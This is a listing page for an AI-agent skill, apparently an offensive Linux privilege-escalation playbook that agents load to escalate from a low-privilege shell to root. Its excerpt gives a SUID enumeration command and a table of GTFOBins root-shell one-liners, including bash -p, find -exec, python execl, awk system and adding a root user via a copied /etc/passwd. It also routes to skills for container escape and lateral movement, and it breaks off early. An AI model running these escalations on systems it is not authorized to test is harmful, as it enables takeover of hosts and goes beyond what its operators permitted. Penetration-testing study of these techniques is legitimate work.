Agent skill · security · yaklang
linux-privilege-escalation
Linux privilege escalation playbook. Use when you have low-privilege shell access and need to escalate to root via SUID/SGID binaries, capabilities, cron abuse, kernel exploits, misconfigurations, or credential harvesting on Linux systems.
Why this skill is useful
Adds detailed exploitation techniques and scripts for privilege escalation that are not commonly known or documented.
What it needs
About 6k tokens when loaded. Last updated 2026-06-16. 1,563 stars on the source repository.
What this skill does
SKILL: Linux Privilege Escalation — Expert Attack Playbook AI LOAD INSTRUCTION: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LDPRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations. 0. RELATED ROUTING Before going deep, consider loading: container-escape-techniques when the target is a container and you need to escape to host linux-security-bypass when facing restricted shells, AppArmor, SELinux, or seccomp linux-lateral-movement after obtaining root for pivoting to adjacent hosts kubernetes-pentesting when the host is a Kubernetes node Advanced Reference Also load SUIDCAPABILITIESTRICKS.md when you need: Top 30 SUID binaries with exact exploitation commands (GTFOBins) Capability-specific exploitation for each dangerous cap Custom SUID binary exploitation methodology Also load KERNELEXPLOITSCHECKLIST.md when you need: Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.) Exploit compilation tips and cross-compilation notes Kernel exploit stability assessment --- 1. ENUMERATION CHECKLIST Run these immediately after landing a shell: System Info Sudo & SUID/SGID Cron & Timers Writable Files & Dirs Network & Services Credential Locations --- 2. SUID/SGID EXPLOITATION GTFOBins Methodology 1. Find SUID binaries: find / -perm -4000 -type f 2>/dev/null 2. Cross-reference each with GTFOBins 3. Use the "SUID" section specifically — not all binary abuse works with SUID Quick-Win SUID Escalations Binary Command --- --- bash bash -p find find . -exec /bin/sh -p \; -quit vim vim -c ':!/bin/sh' python python -c 'import os; os.execl("/bin/sh","sh","-p")' env env /bin/sh -p nmap (old) nmap --interactive → !sh awk awk 'BEGIN {system("/bin/sh -p")}' less less /etc/passwd → !/bin/sh cp Copy /etc/passwd, add root user, copy back Shared Library Hijacking (SUID Binary) --- 3. …
How to use it
Reference it in AdaL, Claude Code, Cursor or any coding agent — nothing to install:
@skills yaklang/linux-privilege-escalation